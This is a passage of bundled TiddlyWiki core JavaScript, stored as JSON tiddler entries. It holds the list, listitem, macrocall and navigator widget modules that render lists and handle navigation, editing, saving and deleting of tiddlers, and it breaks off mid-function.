this.getAttribute(\"editTemplate\");\n\tthis.variableName = this.getAttribute(\"variable\",\"currentTiddler\");\n\tthis.storyViewName = this.getAttribute(\"storyview\");\n\tthis.historyTitle = this.getAttribute(\"history\");\n\t// Compose the list elements\n\tthis.list = this.getTiddlerList();\n\tvar members = [],\n\t\tself = this;\n\t// Check for an empty list\n\tif(this.list.length === 0) {\n\t\tmembers = this.getEmptyMessage();\n\t} else {\n\t\t$tw.utils.each(this.list,function(title,index) {\n\t\t\tmembers.push(self.makeItemTemplate(title));\n\t\t});\n\t}\n\t// Construct the child widgets\n\tthis.makeChildWidgets(members);\n\t// Clear the last history\n\tthis.history = [];\n};\n\nListWidget.prototype.getTiddlerList = function() {\n\tvar defaultFilter = \"[!is[system]sort[title]]\";\n\treturn this.wiki.filterTiddlers(this.getAttribute(\"filter\",defaultFilter),this);\n};\n\nListWidget.prototype.getEmptyMessage = function() {\n\tvar emptyMessage = this.getAttribute(\"emptyMessage\",\"\"),\n\t\tparser = this.wiki.parseText(\"text/vnd.tiddlywiki\",emptyMessage,{parseAsInline: true});\n\tif(parser) {\n\t\treturn parser.tree;\n\t} else {\n\t\treturn [];\n\t}\n};\n\n/*\nCompose the template for a list item\n*/\nListWidget.prototype.makeItemTemplate = function(title) {\n\t// Check if the tiddler is a draft\n\tvar tiddler = this.wiki.getTiddler(title),\n\t\tisDraft = tiddler && tiddler.hasField(\"draft.of\"),\n\t\ttemplate = this.template,\n\t\ttemplateTree;\n\tif(isDraft && this.editTemplate) {\n\t\ttemplate = this.editTemplate;\n\t}\n\t// Compose the transclusion of the template\n\tif(template) {\n\t\ttemplateTree = [{type: \"transclude\", attributes: {tiddler: {type: \"string\", value: template}}}];\n\t} else {\n\t\tif(this.parseTreeNode.children && this.parseTreeNode.children.length > 0) {\n\t\t\ttemplateTree = this.parseTreeNode.children;\n\t\t} else {\n\t\t\t// Default template is a link to the title\n\t\t\ttemplateTree = [{type: \"element\", tag: this.parseTreeNode.isBlock ? \"div\" : \"span\", children: [{type: \"link\", attributes: {to: {type: \"string\", value: title}}, children: [\n\t\t\t\t\t{type: \"text\", text: title}\n\t\t\t]}]}];\n\t\t}\n\t}\n\t// Return the list item\n\treturn {type: \"listitem\", itemTitle: title, variableName: this.variableName, children: templateTree};\n};\n\n/*\nSelectively refreshes the widget if needed. Returns true if the widget or any of its children needed re-rendering\n*/\nListWidget.prototype.refresh = function(changedTiddlers) {\n\tvar changedAttributes = this.computeAttributes(),\n\t\tresult;\n\t// Call the storyview\n\tif(this.storyview && this.storyview.refreshStart) {\n\t\tthis.storyview.refreshStart(changedTiddlers,changedAttributes);\n\t}\n\t// Completely refresh if any of our attributes have changed\n\tif(changedAttributes.filter || changedAttributes.template || changedAttributes.editTemplate || changedAttributes.emptyMessage || changedAttributes.storyview || changedAttributes.history) {\n\t\tthis.refreshSelf();\n\t\tresult = true;\n\t} else {\n\t\t// Handle any changes to the list\n\t\tresult = this.handleListChanges(changedTiddlers);\n\t\t// Handle any changes to the history stack\n\t\tif(this.historyTitle && changedTiddlers[this.historyTitle]) {\n\t\t\tthis.handleHistoryChanges();\n\t\t}\n\t}\n\t// Call the storyview\n\tif(this.storyview && this.storyview.refreshEnd) {\n\t\tthis.storyview.refreshEnd(changedTiddlers,changedAttributes);\n\t}\n\treturn result;\n};\n\n/*\nHandle any changes to the history list\n*/\nListWidget.prototype.handleHistoryChanges = function() {\n\t// Get the history data\n\tvar newHistory = this.wiki.getTiddlerDataCached(this.historyTitle,[]);\n\t// Ignore any entries of the history that match the previous history\n\tvar entry = 0;\n\twhile(entry < newHistory.length && entry < this.history.length && newHistory[entry].title === this.history[entry].title) {\n\t\tentry++;\n\t}\n\t// Navigate forwards to each of the new tiddlers\n\twhile(entry < newHistory.length) {\n\t\tif(this.storyview && this.storyview.navigateTo) {\n\t\t\tthis.storyview.navigateTo(newHistory[entry]);\n\t\t}\n\t\tentry++;\n\t}\n\t// Update the history\n\tthis.history = newHistory;\n};\n\n/*\nProcess any changes to the list\n*/\nListWidget.prototype.handleListChanges = function(changedTiddlers) {\n\t// Get the new list\n\tvar prevList = this.list;\n\tthis.list = this.getTiddlerList();\n\t// Check for an empty list\n\tif(this.list.length === 0) {\n\t\t// Check if it was empty before\n\t\tif(prevList.length === 0) {\n\t\t\t// If so, just refresh the empty message\n\t\t\treturn this.refreshChildren(changedTiddlers);\n\t\t} else {\n\t\t\t// Replace the previous content with the empty message\n\t\t\tfor(t=this.children.length-1; t>=0; t--) {\n\t\t\t\tthis.removeListItem(t);\n\t\t\t}\n\t\t\tvar nextSibling = this.findNextSiblingDomNode();\n\t\t\tthis.makeChildWidgets(this.getEmptyMessage());\n\t\t\tthis.renderChildren(this.parentDomNode,nextSibling);\n\t\t\treturn true;\n\t\t}\n\t} else {\n\t\t// If the list was empty then we need to remove the empty message\n\t\tif(prevList.length === 0) {\n\t\t\tthis.removeChildDomNodes();\n\t\t\tthis.children = [];\n\t\t}\n\t\t// Cycle through the list, inserting and removing list items as needed\n\t\tvar hasRefreshed = false;\n\t\tfor(var t=0; t<this.list.length; t++) {\n\t\t\tvar index = this.findListItem(t,this.list[t]);\n\t\t\tif(index === undefined) {\n\t\t\t\t// The list item must be inserted\n\t\t\t\tthis.insertListItem(t,this.list[t]);\n\t\t\t\thasRefreshed = true;\n\t\t\t} else {\n\t\t\t\t// There are intervening list items that must be removed\n\t\t\t\tfor(var n=index-1; n>=t; n--) {\n\t\t\t\t\tthis.removeListItem(n);\n\t\t\t\t\thasRefreshed = true;\n\t\t\t\t}\n\t\t\t\t// Refresh the item we're reusing\n\t\t\t\tvar refreshed = this.children[t].refresh(changedTiddlers);\n\t\t\t\thasRefreshed = hasRefreshed || refreshed;\n\t\t\t}\n\t\t}\n\t\t// Remove any left over items\n\t\tfor(t=this.children.length-1; t>=this.list.length; t--) {\n\t\t\tthis.removeListItem(t);\n\t\t\thasRefreshed = true;\n\t\t}\n\t\treturn hasRefreshed;\n\t}\n};\n\n/*\nFind the list item with a given title, starting from a specified position\n*/\nListWidget.prototype.findListItem = function(startIndex,title) {\n\twhile(startIndex < this.children.length) {\n\t\tif(this.children[startIndex].parseTreeNode.itemTitle === title) {\n\t\t\treturn startIndex;\n\t\t}\n\t\tstartIndex++;\n\t}\n\treturn undefined;\n};\n\n/*\nInsert a new list item at the specified index\n*/\nListWidget.prototype.insertListItem = function(index,title) {\n\t// Create, insert and render the new child widgets\n\tvar widget = this.makeChildWidget(this.makeItemTemplate(title));\n\twidget.parentDomNode = this.parentDomNode; // Hack to enable findNextSiblingDomNode() to work\n\tthis.children.splice(index,0,widget);\n\tvar nextSibling = widget.findNextSiblingDomNode();\n\twidget.render(this.parentDomNode,nextSibling);\n\t// Animate the insertion if required\n\tif(this.storyview && this.storyview.insert) {\n\t\tthis.storyview.insert(widget);\n\t}\n\treturn true;\n};\n\n/*\nRemove the specified list item\n*/\nListWidget.prototype.removeListItem = function(index) {\n\tvar widget = this.children[index];\n\t// Animate the removal if required\n\tif(this.storyview && this.storyview.remove) {\n\t\tthis.storyview.remove(widget);\n\t} else {\n\t\twidget.removeChildDomNodes();\n\t}\n\t// Remove the child widget\n\tthis.children.splice(index,1);\n};\n\nexports.list = ListWidget;\n\nvar ListItemWidget = function(parseTreeNode,options) {\n\tthis.initialise(parseTreeNode,options);\n};\n\n/*\nInherit from the base widget class\n*/\nListItemWidget.prototype = new Widget();\n\n/*\nRender this widget into the DOM\n*/\nListItemWidget.prototype.render = function(parent,nextSibling) {\n\tthis.parentDomNode = parent;\n\tthis.computeAttributes();\n\tthis.execute();\n\tthis.renderChildren(parent,nextSibling);\n};\n\n/*\nCompute the internal state of the widget\n*/\nListItemWidget.prototype.execute = function() {\n\t// Set the current list item title\n\tthis.setVariable(this.parseTreeNode.variableName,this.parseTreeNode.itemTitle);\n\t// Construct the child widgets\n\tthis.makeChildWidgets();\n};\n\n/*\nSelectively refreshes the widget if needed. Returns true if the widget or any of its children needed re-rendering\n*/\nListItemWidget.prototype.refresh = function(changedTiddlers) {\n\treturn this.refreshChildren(changedTiddlers);\n};\n\nexports.listitem = ListItemWidget;\n\n})();",
"type": "application/javascript",
"module-type": "widget"
},
"$:/core/modules/widgets/macrocall.js": {
"title": "$:/core/modules/widgets/macrocall.js",
"text": "/*\\\ntitle: $:/core/modules/widgets/macrocall.js\ntype: application/javascript\nmodule-type: widget\n\nMacrocall widget\n\n\\*/\n(function(){\n\n/*jslint node: true, browser: true */\n/*global $tw: false */\n\"use strict\";\n\nvar Widget = require(\"$:/core/modules/widgets/widget.js\").widget;\n\nvar MacroCallWidget = function(parseTreeNode,options) {\n\tthis.initialise(parseTreeNode,options);\n};\n\n/*\nInherit from the base widget class\n*/\nMacroCallWidget.prototype = new Widget();\n\n/*\nRender this widget into the DOM\n*/\nMacroCallWidget.prototype.render = function(parent,nextSibling) {\n\tthis.parentDomNode = parent;\n\tthis.computeAttributes();\n\tthis.execute();\n\tthis.renderChildren(parent,nextSibling);\n};\n\n/*\nCompute the internal state of the widget\n*/\nMacroCallWidget.prototype.execute = function() {\n\t// Get the parse type if specified\n\tthis.parseType = this.getAttribute(\"$type\",\"text/vnd.tiddlywiki\");\n\tthis.renderOutput = this.getAttribute(\"$output\",\"text/html\");\n\t// Merge together the parameters specified in the parse tree with the specified attributes\n\tvar params = this.parseTreeNode.params ? this.parseTreeNode.params.slice(0) : [];\n\t$tw.utils.each(this.attributes,function(attribute,name) {\n\t\tif(name.charAt(0) !== \"$\") {\n\t\t\tparams.push({name: name, value: attribute});\t\t\t\n\t\t}\n\t});\n\t// Get the macro value\n\tvar macroName = this.parseTreeNode.name || this.getAttribute(\"$name\"),\n\t\tvariableInfo = this.getVariableInfo(macroName,{params: params}),\n\t\ttext = variableInfo.text,\n\t\tparseTreeNodes;\n\t// Are we rendering to HTML?\n\tif(this.renderOutput === \"text/html\") {\n\t\t// If so we'll return the parsed macro\n\t\tvar parser = this.wiki.parseText(this.parseType,text,\n\t\t\t\t\t\t\t{parseAsInline: !this.parseTreeNode.isBlock});\n\t\tparseTreeNodes = parser ? parser.tree : [];\n\t\t// Wrap the parse tree in a vars widget assigning the parameters to variables named \"__paramname__\"\n\t\tvar attributes = {};\n\t\t$tw.utils.each(variableInfo.params,function(param) {\n\t\t\tvar name = \"__\" + param.name + \"__\";\n\t\t\tattributes[name] = {\n\t\t\t\tname: name,\n\t\t\t\ttype: \"string\",\n\t\t\t\tvalue: param.value\n\t\t\t};\n\t\t});\n\t\tparseTreeNodes = [{\n\t\t\ttype: \"vars\",\n\t\t\tattributes: attributes,\n\t\t\tchildren: parseTreeNodes\n\t\t}];\n\t} else {\n\t\t// Otherwise, we'll render the text\n\t\tvar plainText = this.wiki.renderText(\"text/plain\",this.parseType,text,{parentWidget: this});\n\t\tparseTreeNodes = [{type: \"text\", text: plainText}];\n\t}\n\t// Construct the child widgets\n\tthis.makeChildWidgets(parseTreeNodes);\n};\n\n/*\nSelectively refreshes the widget if needed. Returns true if the widget or any of its children needed re-rendering\n*/\nMacroCallWidget.prototype.refresh = function(changedTiddlers) {\n\tvar changedAttributes = this.computeAttributes();\n\tif($tw.utils.count(changedAttributes) > 0) {\n\t\t// Rerender ourselves\n\t\tthis.refreshSelf();\n\t\treturn true;\n\t} else {\n\t\treturn this.refreshChildren(changedTiddlers);\n\t}\n};\n\nexports.macrocall = MacroCallWidget;\n\n})();\n",
"type": "application/javascript",
"module-type": "widget"
},
"$:/core/modules/widgets/navigator.js": {
"title": "$:/core/modules/widgets/navigator.js",
"text": "/*\\\ntitle: $:/core/modules/widgets/navigator.js\ntype: application/javascript\nmodule-type: widget\n\nNavigator widget\n\n\\*/\n(function(){\n\n/*jslint node: true, browser: true */\n/*global $tw: false */\n\"use strict\";\n\nvar IMPORT_TITLE = \"$:/Import\";\n\nvar Widget = require(\"$:/core/modules/widgets/widget.js\").widget;\n\nvar NavigatorWidget = function(parseTreeNode,options) {\n\tthis.initialise(parseTreeNode,options);\n\tthis.addEventListeners([\n\t\t{type: \"tm-navigate\", handler: \"handleNavigateEvent\"},\n\t\t{type: \"tm-edit-tiddler\", handler: \"handleEditTiddlerEvent\"},\n\t\t{type: \"tm-delete-tiddler\", handler: \"handleDeleteTiddlerEvent\"},\n\t\t{type: \"tm-save-tiddler\", handler: \"handleSaveTiddlerEvent\"},\n\t\t{type: \"tm-cancel-tiddler\", handler: \"handleCancelTiddlerEvent\"},\n\t\t{type: \"tm-close-tiddler\", handler: \"handleCloseTiddlerEvent\"},\n\t\t{type: \"tm-close-all-tiddlers\", handler: \"handleCloseAllTiddlersEvent\"},\n\t\t{type: \"tm-close-other-tiddlers\", handler: \"handleCloseOtherTiddlersEvent\"},\n\t\t{type: \"tm-new-tiddler\", handler: \"handleNewTiddlerEvent\"},\n\t\t{type: \"tm-import-tiddlers\", handler: \"handleImportTiddlersEvent\"},\n\t\t{type: \"tm-perform-import\", handler: \"handlePerformImportEvent\"},\n\t\t{type: \"tm-fold-tiddler\", handler: \"handleFoldTiddlerEvent\"},\n\t\t{type: \"tm-fold-other-tiddlers\", handler: \"handleFoldOtherTiddlersEvent\"},\n\t\t{type: \"tm-fold-all-tiddlers\", handler: \"handleFoldAllTiddlersEvent\"},\n\t\t{type: \"tm-unfold-all-tiddlers\", handler: \"handleUnfoldAllTiddlersEvent\"},\n\t\t{type: \"tm-rename-tiddler\", handler: \"handleRenameTiddlerEvent\"}\n\t]);\n};\n\n/*\nInherit from the base widget class\n*/\nNavigatorWidget.prototype = new Widget();\n\n/*\nRender this widget into the DOM\n*/\nNavigatorWidget.prototype.render = function(parent,nextSibling) {\n\tthis.parentDomNode = parent;\n\tthis.computeAttributes();\n\tthis.execute();\n\tthis.renderChildren(parent,nextSibling);\n};\n\n/*\nCompute the internal state of the widget\n*/\nNavigatorWidget.prototype.execute = function() {\n\t// Get our parameters\n\tthis.storyTitle = this.getAttribute(\"story\");\n\tthis.historyTitle = this.getAttribute(\"history\");\n\tthis.setVariable(\"tv-story-list\",this.storyTitle);\n\tthis.setVariable(\"tv-history-list\",this.historyTitle);\n\t// Construct the child widgets\n\tthis.makeChildWidgets();\n};\n\n/*\nSelectively refreshes the widget if needed. Returns true if the widget or any of its children needed re-rendering\n*/\nNavigatorWidget.prototype.refresh = function(changedTiddlers) {\n\tvar changedAttributes = this.computeAttributes();\n\tif(changedAttributes.story || changedAttributes.history) {\n\t\tthis.refreshSelf();\n\t\treturn true;\n\t} else {\n\t\treturn this.refreshChildren(changedTiddlers);\n\t}\n};\n\nNavigatorWidget.prototype.getStoryList = function() {\n\treturn this.storyTitle ? this.wiki.getTiddlerList(this.storyTitle) : null;\n};\n\nNavigatorWidget.prototype.saveStoryList = function(storyList) {\n\tif(this.storyTitle) {\n\t\tvar storyTiddler = this.wiki.getTiddler(this.storyTitle);\n\t\tthis.wiki.addTiddler(new $tw.Tiddler(\n\t\t\t{title: this.storyTitle},\n\t\t\tstoryTiddler,\n\t\t\t{list: storyList}\n\t\t));\t\t\n\t}\n};\n\nNavigatorWidget.prototype.removeTitleFromStory = function(storyList,title) {\n\tif(storyList) {\n\t\tvar p = storyList.indexOf(title);\n\t\twhile(p !== -1) {\n\t\t\tstoryList.splice(p,1);\n\t\t\tp = storyList.indexOf(title);\n\t\t}\t\t\n\t}\n};\n\nNavigatorWidget.prototype.replaceFirstTitleInStory = function(storyList,oldTitle,newTitle) {\n\tif(storyList) {\n\t\tvar pos = storyList.indexOf(oldTitle);\n\t\tif(pos !== -1) {\n\t\t\tstoryList[pos] = newTitle;\n\t\t\tdo {\n\t\t\t\tpos = storyList.indexOf(oldTitle,pos + 1);\n\t\t\t\tif(pos !== -1) {\n\t\t\t\t\tstoryList.splice(pos,1);\n\t\t\t\t}\n\t\t\t} while(pos !== -1);\n\t\t} else {\n\t\t\tstoryList.splice(0,0,newTitle);\n\t\t}\t\t\n\t}\n};\n\nNavigatorWidget.prototype.addToStory = function(title,fromTitle) {\n\tif(this.storyTitle) {\n\t\tthis.wiki.addToStory(title,fromTitle,this.storyTitle,{\n\t\t\topenLinkFromInsideRiver: this.getAttribute(\"openLinkFromInsideRiver\",\"top\"),\n\t\t\topenLinkFromOutsideRiver: this.getAttribute(\"openLinkFromOutsideRiver\",\"top\")\n\t\t});\n\t}\n};\n\n/*\nAdd a new record to the top of the history stack\ntitle: a title string or an array of title strings\nfromPageRect: page coordinates of the origin of the navigation\n*/\nNavigatorWidget.prototype.addToHistory = function(title,fromPageRect) {\n\tthis.wiki.addToHistory(title,fromPageRect,this.historyTitle);\n};\n\n/*\nHandle a tm-navigate event\n*/\nNavigatorWidget.prototype.handleNavigateEvent = function(event) {\n\tevent = $tw.hooks.invokeHook(\"th-navigating\",event);\n\tif(event.navigateTo) {\n\t\tthis.addToStory(event.navigateTo,event.navigateFromTitle);\n\t\tif(!event.navigateSuppressNavigation) {\n\t\t\tthis.addToHistory(event.navigateTo,event.navigateFromClientRect);\n\t\t}\n\t}\n\treturn false;\n};\n\n// Close a specified tiddler\nNavigatorWidget.prototype.handleCloseTiddlerEvent = function(event) {\n\tvar title = event.param || event.tiddlerTitle,\n\t\tstoryList = this.getStoryList();\n\t// Look for tiddlers with this title to close\n\tthis.removeTitleFromStory(storyList,title);\n\tthis.saveStoryList(storyList);\n\treturn false;\n};\n\n// Close all tiddlers\nNavigatorWidget.prototype.handleCloseAllTiddlersEvent = function(event) {\n\tthis.saveStoryList([]);\n\treturn false;\n};\n\n// Close other tiddlers\nNavigatorWidget.prototype.handleCloseOtherTiddlersEvent = function(event) {\n\tvar title = event.param || event.tiddlerTitle;\n\tthis.saveStoryList([title]);\n\treturn false;\n};\n\n// Place a tiddler in edit mode\nNavigatorWidget.prototype.handleEditTiddlerEvent = function(event) {\n\tvar editTiddler = $tw.hooks.invokeHook(\"th-editing-tiddler\",event);\n\tif(!editTiddler) {\n\t\treturn false;\n\t}\n\tvar self = this;\n\tfunction isUnmodifiedShadow(title) {\n\t\treturn self.wiki.isShadowTiddler(title) && !self.wiki.tiddlerExists(title);\n\t}\n\tfunction confirmEditShadow(title) {\n\t\treturn confirm($tw.language.getString(\n\t\t\t\"ConfirmEditShadowTiddler\",\n\t\t\t{variables:\n\t\t\t\t{title: title}\n\t\t\t}\n\t\t));\n\t}\n\tvar title = event.param || event.tiddlerTitle;\n\tif(isUnmodifiedShadow(title) && !confirmEditShadow(title)) {\n\t\treturn false;\n\t}\n\t// Replace the specified tiddler with a draft in edit mode\n\tvar draftTiddler = this.makeDraftTiddler(title);\n\t// Update the story and history if required\n\tif(!event.paramObject || event.paramObject.suppressNavigation !== \"yes\") {\n\t\tvar draftTitle = draftTiddler.fields.title,\n\t\t\tstoryList = this.getStoryList();\n\t\tthis.removeTitleFromStory(storyList,draftTitle);\n\t\tthis.replaceFirstTitleInStory(storyList,title,draftTitle);\n\t\tthis.addToHistory(draftTitle,event.navigateFromClientRect);\n\t\tthis.saveStoryList(storyList);\n\t\treturn false;\n\t}\n};\n\n// Delete a tiddler\nNavigatorWidget.prototype.handleDeleteTiddlerEvent = function(event) {\n\t// Get the tiddler we're deleting\n\tvar title = event.param || event.tiddlerTitle,\n\t\ttiddler = this.wiki.getTiddler(title),\n\t\tstoryList = this.getStoryList(),\n\t\toriginalTitle = tiddler ? tiddler.fields[\"draft.of\"] : \"\",\n\t\toriginalTiddler = originalTitle ? this.wiki.getTiddler(originalTitle) : undefined,\n\t\tconfirmationTitle;\n\tif(!tiddler) {\n\t\treturn false;\n\t}\n\t// Check if the tiddler we're deleting is in draft mode\n\tif(originalTitle) {\n\t\t// If so, we'll prompt for confirmation referencing the original tiddler\n\t\tconfirmationTitle = originalTitle;\n\t} else {\n\t\t// If not a draft, then prompt for confirmation referencing the specified tiddler\n\t\tconfirmationTitle = title;\n\t}\n\t// Seek confirmation\n\tif((this.wiki.getTiddler(originalTitle) || (tiddler.fields.text || \"\") !== \"\") && !confirm($tw.language.getString(\n\t\t\t\t\"ConfirmDeleteTiddler\",\n\t\t\t\t{variables:\n\t\t\t\t\t{title: confirmationTitle}\n\t\t\t\t}\n\t\t\t))) {\n\t\treturn false;\n\t}\n\t// Delete the original tiddler\n\tif(originalTitle) {\n\t\tif(originalTiddler) {\n\t\t\t$tw.hooks.invokeHook(\"th-deleting-tiddler\",originalTiddler);\n\t\t}\n\t\tthis.wiki.deleteTiddler(originalTitle);\n\t\tthis.removeTitleFromStory(storyList,originalTitle);\n\t}\n\t// Invoke the hook function and delete this tiddler\n\t$tw.hooks.invokeHook(\"th-deleting-tiddler\",tiddler);\n\tthis.wiki.deleteTiddler(title);\n\t// Remove the closed tiddler from the story\n\tthis.removeTitleFromStory(storyList,title);\n\tthis.saveStoryList(storyList);\n\t// Trigger an autosave\n\t$tw.rootWidget.dispatchEvent({type: \"tm-auto-save-wiki\"});\n\treturn false;\n};\n\n/*\nCreate/reuse the draft tiddler for a given title\n*/\nNavigatorWidget.prototype.makeDraftTiddler = function(targetTitle) {\n\t// See if there is already a draft tiddler for this tiddler\n\tvar draftTitle = this.wiki.findDraft(targetTitle);\n\tif(draftTitle) {\n\t\treturn this.wiki.getTiddler(draftTitle);\n\t}\n\t// Get the current value of the tiddler we're editing\n\tvar tiddler = this.wiki.getTiddler(targetTitle);\n\t// Save the initial value of the draft tiddler\n\tdraftTitle = this.generateDraftTitle(targetTitle);\n\tvar draftTiddler = new $tw.Tiddler(\n\t\t\ttiddler,\n\t\t\t{\n\t\t\t\ttitle: draftTitle,\n\t\t\t\t\"draft.title\": targetTitle,\n\t\t\t\t\"draft.of\": targetTitle\n\t\t\t},\n\t\t\tthis.wiki.getModificationFields()\n\t\t);\n\tthis.wiki.addTiddler(draftTiddler);\n\treturn draftTiddler;\n};\n\n/*\nGenerate a title for the draft of a given tiddler\n*/\nNavigatorWidget.prototype.generateDraftTitle = function(title) {\n\treturn this.wiki.generateDraftTitle(title);\n};\n\n// Take a tiddler out of edit mode, saving the changes\nNavigatorWidget.prototype.handleSaveTiddlerEvent = function(event) {\n\tvar title = event.param || event.tiddlerTitle,\n\t\ttiddler = this.wiki.getTiddler(title),\n\t\tstoryList = this.getStoryList();\n\t// Replace the original tiddler with the draft\n\tif(tiddler) {\n\t\tvar draftTitle = (tiddler.fields[\"draft.title\"] || \"\").trim(),\n\t\t\tdraftOf = (tiddler.fields[\"draft.of\"] || \"\").trim();\n\t\tif(draftTitle) {\n\t\t\tvar isRename = draftOf !== draftTitle,\n\t\t\t\tisConfirmed = true;\n\t\t\tif(isRename && this.wiki.tiddlerExists(draftTitle)) {\n\t\t\t\tisConfirmed = confirm($tw.language.getString(\n\t\t\t\t\t\"ConfirmOverwriteTiddler\",\n\t\t\t\t\t{variables:\n\t\t\t\t\t\t{title: draftTitle}\n\t\t\t\t\t}\n\t\t\t\t));\n\t\t\t}\n\t\t\tif(isConfirmed) {\n\t\t\t\t// Create the new tiddler and pass it through the th-saving-tiddler hook\n\t\t\t\tvar newTiddler = new $tw.Tiddler(this.wiki.getCreationFields(),tiddler,{\n\t\t\t\t\ttitle: draftTitle,\n\t\t\t\t\t\"draft.title\": undefined,\n\t\t\t\t\t\"draft.of\": undefined\n\t\t\t\t},this.wiki.getModificationFields());\n\t\t\t\tnewTiddler = $tw.hooks.invokeHook(\"th-saving-tiddler\",newTiddler);\n\t\t\t\tthis.wiki.addTiddler(newTiddler);\n\t\t\t\t// If enabled, relink references to renamed tiddler\n\t\t\t\tvar shouldRelink = this.getAttribute(\"relinkOnRename\",\"no\").toLowerCase().trim() === \"yes\";\n\t\t\t\tif(isRename && shouldRelink && this.wiki.tiddlerExists(draftOf)) {\nconsole.log(\"Relinking '\" + draftOf + \"' to '\" + draftTitle + \"'\");\n\t\t\t\t\tthis.wiki.relinkTiddler(draftOf,draftTitle);\n\t\t\t\t}\n\t\t\t\t// Remove the draft tiddler\n\t\t\t\tthis.wiki.deleteTiddler(title);\n\t\t\t\t// Remove the original tiddler if we're renaming it\n\t\t\t\tif(isRename) {\n\t\t\t\t\tthis.wiki.deleteTiddler(draftOf);\n\t\t\t\t}\n\t\t\t\t// #2381 always remove new title & old\n\t\t\t\tthis.removeTitleFromStory(storyList,draftTitle);\n\t\t\t\tthis.removeTitleFromStory(storyList,draftOf);\n\t\t\t\tif(!event.paramObject || event.paramObject.suppressNavigation !== \"yes\") {\n\t\t\t\t\t// Replace the draft in the story with the original\n\t\t\t\t\tthis.replaceFirstTitleInStory(storyList,title,draftTitle);\n\t\t\t\t\tthis.addToHistory(draftTitle,event.navigateFromClientRect);\n\t\t\t\t\tif(draftTitle !== this.storyTitle) {\n\t\t\t\t\t\tthis.saveStoryList(storyList);\n\t\t\t\t\t}\n\t\t\t\t}\n\t\t\t\t// Trigger an autosave\n\t\t\t\t$tw.rootWidget.dispatchEvent({type: \"tm-auto-save-wiki\"});\n\t\t\t}\n\t\t}\n\t}\n\treturn false;\n};\n\n// Take a tiddler out of edit mode without saving the changes\nNavigatorWidget.prototype.handleCancelTiddlerEvent = function(event) {\n\tevent = $tw.hooks.invokeHook(\"th-cancelling-tiddler\", event);\n\t// Flip the specified tiddler from draft back to the original\n\tvar draftTitle = event.param || event.tiddlerTitle,\n\t\tdraftTiddler = this.wiki.getTiddler(draftTitle),\n\t\toriginalTitle = draftTiddler && draftTiddler.fields[\"draft.of\"];\n\tif(draftTiddler && originalTitle) {\n\t\t// Ask for confirmation if the tiddler text has changed\n\t\tvar isConfirmed = true,\n\t\t\toriginalTiddler = this.wiki.getTiddler(originalTitle),\n\t\t\tstoryList = this.getStoryList();\n\t\tif(this.wiki.isDraftModified(draftTitle)) {\n\t\t\tisConfirmed = confirm($tw.language.getString(\n\t\t\t\t\"ConfirmCancelTiddler\",\n\t\t\t\t{variables:\n\t\t\t\t\t{title: draftTitle}\n\t\t\t\t}\n\t\t\t));\n\t\t}\n\t\t// Remove the draft tiddler\n\t\tif(isConfirmed) {\n\t\t\tthis.wiki.deleteTiddler(draftTitle);\n\t\t\tif(!event.paramObject || event.paramObject.suppressNavigation !== \"yes\") {\n\t\t\t\tif(originalTiddler) {\n\t\t\t\t\tthis.replaceFirstTitleInStory(storyList,draftTitle,originalTitle);\n\t\t\t\t\tthis.addToHistory(originalTitle,event.navigateFromClientRect);\n\t\t\t\t} else {\n\t\t\t\t\tthis.removeTitleFromStory(storyList,draftTitle);\n\t\t\t\t}\n\t\t\t\tthis.saveStoryList(storyList);\n\t\t\t}\n\t\t}\n\t}\n\treturn false;\n};\n\n// Create a new draft tiddler\n// event.param can either be the title of a template tiddler, or a hashmap of fields.\n//\n// The title of the newly created tiddler follows these rules:\n// * If a hashmap was used and a title field was specified, use that title\n// * If a hashmap was used without a title field, use a default title, if necessary making it unique with a numeric suffix\n// * If a template tiddler was used, use the title of the template, if necessary making it unique with a numeric suffix\n//\n// If a draft of the target tiddler already exists then it is reused\nNavigatorWidget.prototype.handleNewTiddlerEvent = function(event) {\n\tevent = $tw.hooks.invokeHook(\"th-new-tiddler\", event);\n\t// Get the story details\n\tvar storyList = this.getStoryList(),\n\t\ttemplateTiddler, additionalFields, title, draftTitle, existingTiddler;\n\t// Get the template tiddler (if any)\n\tif(typeof event.param === \"string\") {\n\t\t// Get the template tiddler\n\t\ttemplateTiddler = this.wiki.getTiddler(event.param);\n\t\t// Generate a new title\n\t\ttitle = this.wiki.generateNewTitle(event.param || $tw.language.getString(\"DefaultNewTiddlerTitle\"));\n\t}\n\t// Get the specified additional fields\n\tif(typeof event.paramObject === \"object\") {\n\t\tadditionalFields = event.paramObject;\n\t}\n\tif(typeof event.param === \"object\") { // Backwards compatibility with 5.1.3\n\t\tadditionalFields = event.param;\n\t}\n\tif(additionalFields && additionalFields.title) {\n\t\ttitle = additionalFields.title;\n\t}\n\t// Make a copy of the additional fields excluding any blank ones\n\tvar filteredAdditionalFields = $tw.utils.extend({},additionalFields);\n\tObject.keys(filteredAdditionalFields).forEach(function(fieldName) {\n\t\tif(filteredAdditionalFields[fieldName] === \"\") {\n\t\t\tdelete filteredAdditionalFields[fieldName];\n\t\t}\n\t});\n\t// Generate a title if we don't have one\n\ttitle = title || this.wiki.generateNewTitle($tw.language.getString(\"DefaultNewTiddlerTitle\"));\n\t// Find any existing draft for this tiddler\n\tdraftTitle = this.wiki.findDraft(title);\n\t// Pull in any existing tiddler\n\tif(draftTitle) {\n\t\texistingTiddler = this.wiki.getTiddler(draftTitle);\n\t} else {\n\t\tdraftTitle = this.generateDraftTitle(title);\n\t\texistingTiddler = this.wiki.getTiddler(title);\n\t}\n\t// Merge the tags\n\tvar mergedTags = [];\n\tif(existingTiddler && existingTiddler.fields.tags) {\n\t\t$tw.utils.pushTop(mergedTags,existingTiddler.fields.tags);\n\t}\n\tif(additionalFields && additionalFields.tags) {\n\t\t// Merge tags\n\t\tmergedTags = $tw.utils.pushTop(mergedTags,$tw.utils.parseStringArray(additionalFields.tags));\n\t}\n\tif(templateTiddler && templateTiddler.fields.tags) {\n\t\t// Merge tags\n\t\tmergedTags = $tw.utils.pushTop(mergedTags,templateTiddler.fields.tags);\n\t}\n\t// Save the draft tiddler\n\tvar draftTiddler = new $tw.Tiddler({\n\t\t\ttext: \"\",\n\t\t\t\"draft.title\": title\n\t\t},\n\t\ttemplateTiddler,\n\t\tadditionalFields,\n\t\tthis.wiki.getCreationFields(),\n\t\texistingTiddler,\n\t\tfilteredAdditionalFields,\n\t\t{\n\t\t\ttitle: draftTitle,\n\t\t\t\"draft.of\": title,\n\t\t\ttags: mergedTags\n\t\t},this.wiki.getModificationFields());\n\tthis.wiki.addTiddler(draftTiddler);\n\t// Update the story to insert the new draft at the top and remove any existing tiddler\n\tif(storyList && storyList.indexOf(draftTitle) === -1) {\n\t\tvar slot = 